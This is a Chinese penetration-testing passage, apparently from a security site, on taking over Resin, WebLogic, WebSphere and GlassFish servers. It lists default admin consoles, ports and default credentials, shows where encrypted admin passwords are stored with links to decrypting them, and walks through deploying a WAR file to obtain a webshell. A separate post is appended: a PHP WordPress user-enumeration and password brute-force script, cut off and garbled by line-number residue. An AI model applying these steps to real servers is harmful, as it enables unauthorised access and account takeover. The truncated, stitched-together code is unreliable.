这加密已经没法反解了，所以就算找到Resin的密码配置文件应该也没法破解登录密码。事实上Resin3的管理后台并没有其他Server（相对JBOSS和Weblogic）那么丰富。而Resin4的管理后台看上去更加有趣。

Resin4的加密方式和Resin3还不一样改成了SSHA： admin_user : admin admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi

详情：http://www.caucho.com/resin-4.0/admin/security.xtp

Resin3：

Resin4：

Resin获取WebShell

As of Resin 4.0.0, it is now possible to deploy web applications remotely to a shared repository that is distributed across the cluster. This feature allows you to deploy once to any triad server and have the application be updated automatically across the entire cluster. When a new dynamic server joins the cluster, the triad will populate it with these applications as well.

Web Deploy war文件大概是从4.0.0开始支持的，不过想要在Web deploy一个应用也不是一件简单的事情，首先得先进入后台。然后还得以Https方式访问。不过命令行下部署就没那没法麻烦。Resin3得手动配置web-app-deploy。 最简单的但又不爽办法就是想办法把war文件上传到resin-pro-3.1.13webapps目录下，会自动部署（就算Resin已启动也会自动部署，不影响已部署的应用）。

Resin3部署详情：http://www.caucho.com/resin-3.1/doc/webapp-deploy.xtp

Resin4部署War文件详情：http://www.caucho.com/resin-4.0/admin/deploy.xtp

Resin4进入后台后选择Deploy,不过还得用SSL方式请求。Resin要走一个”非加密通道”。

To deploy an application remotely: log into the resin-admin console on any triad server. Make sure you are connecting over SSL, as this feature is not available over a non-encrypted channel. Browse to the "webapp" tab of the resin-admin server and at the bottom of the page, enter the virtual host, URL, and local .war file specifying the web application, then press "Deploy". The application should now be deployed on the server. In a few moments, all the servers in the cluster will have the webapp.



Resin4敢不敢再没节操点？默认HTTPS是没有开的。需要手动去打开: conf

esin.properties

/# https : 8443

默认8443端口是关闭的，取消这一行的注释才能够使用HTTPS方式访问后台才能够Web Deploy war。

部署成功访问: http://localhost:8080/GetShell/Customize.jsp 即可获取WebShell。

Resin漏洞

Resin相对Tomcat的安全问题来说少了很多，Cvedetails上的Resin的漏洞统计图：

Cvedetails统计详情： http://www.cvedetails.com/product/993/Caucho-Technology-Resin.html?vendor_id=576

Cvedetails漏洞详情： http://www.cvedetails.com/vulnerability-list/vendor_id-576/product_id-993/Caucho-Technology-Resin.html

CVE 通用漏洞与披露： http://cve.scap.org.cn/cve_list.php?keyword=resin&action=search&p=1

Resin3.1.3:

Fixed BugList: http://bugs.caucho.com/changelog_page.php

Weblogic

WebLogic是美国bea公司出品的一个application server确切的说是一个基于Javaee架构的中间件，BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic版本

Oracle简直就是企业应用软件终结者，收购了Sun那个土鳖、Mysql、BAE Weblogic等。BAE在2008初被收购后把BAE终结在Weblogic 10。明显的差异应该是从10.x开始到最新的12c。这里主要以Weblogic9.2和最新的Weblogic 12c为例。

Weblogic默认配置

Weblogic默认端口是7001，Weblogic10g-12c默认的管理后台是：http://localhost:7001/console

Weblogic10 以下默认后台地址是：http://192.168.80.1:7001/console/login/LoginForm.jsp

管理帐号是在建立Weblogic域的时候设置的。

Weblogic控制台：

enter link description here

Weblogic10以下默认管理帐号:weblogic密码：weblogic。关于Weblogic10++的故事还得从建域开始，默认安装完Weblogic后需要建立一个域。

WebLogic中的"域"?

域环境下可以多个 WebLogic Server或者WebLogic Server 群集。域是由单个管理服务器管理的 WebLogic Server实例的集合。 Weblogic10++域默认是安装完成后由用户创建。帐号密码也在创建域的时候设置，所以这里并不存在默认密码。当一个域创建完成后配置文件和Web应用在：Weblogic12user_projectsdomains”域名”。

Weblogic 默认安全策略

1、Weblogic默认密码文件:

Weblogic 9采用的3DES（三重数据加密算法）加密方式，Weblogic 9默认的管理密码配置文件位于： weblogic_9weblogic92samplesdomainswl_serverserversexamplesServersecurityoot.properties

boot.properties：

/# Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013 username={3DES}fy709SQ4pCHAFk+lIxiWfw== password={3DES}fy709SQ4pCHAFk+lIxiWfw==

Weblogic 12c采用了AES对称加密方式，但是AES的key并不在这文件里面。默认的管理密码文件存放于：

Weblogic12user_projectsdomainsase_domainserversAdminServersecurityoot.properties

(base_domain是默认的”域名”)。

boot.properties：

boot.properties： /# Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013 username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE= password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI=

怎样解密Weblogic密码?

Weblogic 12c： Weblogic12user_projectsdomainsase_domainsecuritySerializedSystemIni.dat

Weblogic 9：

weblogic_9weblogic92samplesdomainswl_serversecuritySerializedSystemIni.dat

解密详情：http://drops.wooyun.org/tips/349 、http://www.blogjava.net/midea0978/archive/2006/09/07/68223.html

2、Weblogic数据源(JNDI)

Weblogic如果有配置数据源，那么默认数据源配置文件应该在： Weblogic12user_projectsdomainsase_domainconfigconfig.xml

Weblogic获取Webshell 

Weblogic 9 GetShell： http://drops.wooyun.org/tips/402

Websphere

WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施，如服务器、服务和工具。

Websphere版本

Websphere现在主流的版本是6-7-8，老版本的5.x部分老项目还在用。GetShell大致差不多。6、7测试都有“默认用户标识admin登录”，Websphere安装非常麻烦，所以没有像之前测试Resin、Tomcat那么细测。

Websphere默认配置

默认的管理后台地址（注意是HTTPS）： https://localhost:9043/ibm/console/logon.jsp

默认管理密码： 1、admin (测试websphere6-7默认可以直接用admin作为用户标识登录，无需密码) 2、websphere/ websphere 3、system/ manager

默认端口：

管理控制台端口 9060 管理控制台安全端口 9043 HTTP传输端口 9080 HTTPS传输端口 9443 引导程序端口 2809 SIP端口 5060 SIP安全端口 5061 SOAP连接器端口 8880 SAS SSL ServerAuth端口 9401 CSIV2 ServerAuth 侦听器端口 9403 CSIV2 MultiAuth 侦听器端口 9402 ORB侦听器端口 9100 高可用性管理通讯端口(DCS) 9353 服务集成端口 7276 服务集成安全端口 7286 服务集成器MQ互操作性端口 5558 服务集成器MQ互操作性安全端口 5578

8.5安装的时候创建密码： 

enter link description here

Websphere8.5启动信息：

Websphere8.5登录页面： https://localhost:9043/ibm/console/logon.jsp

enter link description here

Websphere8.5 WEB控制台：

Websphere6-7默认控制台地址也是： http://localhost:9043/ibm/console，此处用admin登录即可。

Websphere GetShell

本地只安装了8.5测试，Websphere安装的确非常坑非常麻烦。不过Google HACK到了其余两个版本Websphere6和Websphere7。测试发现Websphere GetShell一样很简单，只是比较麻烦，一般情况直接默认配置Next就行了。Websphere7和Websphere8 GetShell基本一模一样。

Websphere6 GetShell

需要注意的是Websphere6默认支持的Web应用是2.3(web.xml配置的web-app_2_3.dtd)直接上2.5是不行的，请勿霸王硬上弓。其次是在完成部署后记得保存啊亲，不然无法生效。

Websphere8.5 GetShell

部署的时候记得写上下文名称哦，不让无法请求到Shell。

注意：

如果在Deploy低版本的Websphere的时候可能会提示web.xml错误，这里其实是因为支持的JavaEE版本限制，把war包里面的web.xml改成低版本就行了，如把app2.5改成2.3。 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> index.jsp

GlassFish

GlassFish是SUN的产品，但是作为一只优秀的土鳖SUN已经被Oracle收购了，GlassFish的性能优越对JavaEE的支持自然最好，最新的Servlet3.1仅GlassFish支持。

GlassFish版本

GlassFish版本比较低调，最高版本GlassFish4可在官网下载： http://glassfish.java.net/ 。最新4.x版刚发布不久。所以主流版本应当还是v2-3,3应该更多。支持php(v3基于Quercus),jRuby on Rails 和 Phobos等多种语言。

GlassFish 默认配置

默认Web控制后台： http://localhost:4848

默认管理密码： GlassFish2默认帐号admin密码adminadmin 。

GlassFish3、4 如果管理员不设置帐号本地会自动登录，但是远程访问会提示配置错误。 Configuration Error Secure Admin must be enabled to access the DAS remotely.

默认端口：

使用Admin的端口 4848。 使用HTTP Instance的端口 8080。 使用JMS的端口 7676。 使用IIOP的端口 3700。 使用HTTP_SSL的端口 8181。 使用IIOP_SSL的端口 3820。 使用IIOP_MUTUALAUTH的端口 3920。 使用JMX_ADMIN的端口 8686。 使用OSGI_SHELL的默认端口 6666。 使用JAVA_DEBUGGER的默认端口 9009。

默认数据源：

GlassFish GetShell 

跑wordpress用户密码脚本

2013/09/17 15:04 | 瞌睡龙

在做渗透测试的时候，有时候会遇到一个wordpress博客，如果版本比较新，插件也没有漏洞的话，可以爆破用户名密码来尝试下。

大脑混沌情况下写的，有bug欢迎提出，由于是php的所以跑起来比较慢，下次发包还是调用命令结合hydra来爆破。

原理是通过URL

/?author= 遍历获取用户名，然后先跑用户名与密码相同的用户，再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户，可自行修改。

使用方法： php wordpress.php http://www.test.com

1

2 3

4 5

6 7

8 9

10 11

12 13

14 15

16 17

18 19

20 21

22 23

24 25

26 27

28 29

30 31

32 33

34 35

36 37

38 39

40 41

42 43

44 45

46 47

48 49

50 51

52 53

54 55

56 57

58 59

60 61

62 63

64 65

66 67

68 69

70 71

72 73

74 75

76 77

78 79

80 81

82 83

84 <?php

set_time_limit(0);

$domain

=

$argv

[1];

//获取用户名 for

(

$i

=1;

$i

<= 10;

$i

++) {

$url

=

$domain

.

"/?author="

.

$i

;

$response

= httprequest(

$url

,0);

if

(

$response

== 404) {

continue

;

}

$pattern

=

"{